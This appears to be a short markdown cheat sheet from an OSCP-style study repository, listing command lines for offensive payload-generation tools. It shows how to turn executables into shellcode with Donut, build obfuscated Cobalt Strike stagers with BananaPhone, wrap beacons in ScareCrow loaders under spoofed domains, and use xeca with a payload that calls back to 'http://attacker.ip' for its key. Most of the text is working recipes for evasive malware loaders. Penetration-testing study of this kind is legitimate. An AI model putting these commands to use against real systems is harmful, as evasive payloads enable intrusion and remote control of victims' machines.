oscp/Necronomicon/Attacks/Payload Generation.md

• Donut
  • EXCELntDonut -f CSRunner.cs --sandbox --obfuscate
  • Convert EXE (such as from Scarecrow) into PIC shellcode)
    • ./donut -a 2 -f 7 -o donut\_payload.bin cmd.exe
• BananaPhone
  • Generate 64-bit C# stager in Cobalt Strike
  • cd BananaPhone/example/hideexample/banana
  • go generate .
  • Copy byte array from stager into main.go
  • env GOOS=windows GOARCH=amd64 go build -ldflags -H=windowsgui
• Scarecrow
  • JavaScript
    • ./ScareCrow -I beacon.bin -Loader control -O access.js -domain test.com
  • EXE
    • ./ScareCrow -I payload64.bin -Loader binary -domain acme.com
• xeca
  • Save Powershell payload as a .ps1 file
  • `xeca powershell --payload cthulhu.ps1 --url http://attacker.ip
  • Execute "launch.txt", will call back to attacker for encryption key
• Limelighter
• Tiki Torch
• CactusTorch
• Sharpshooter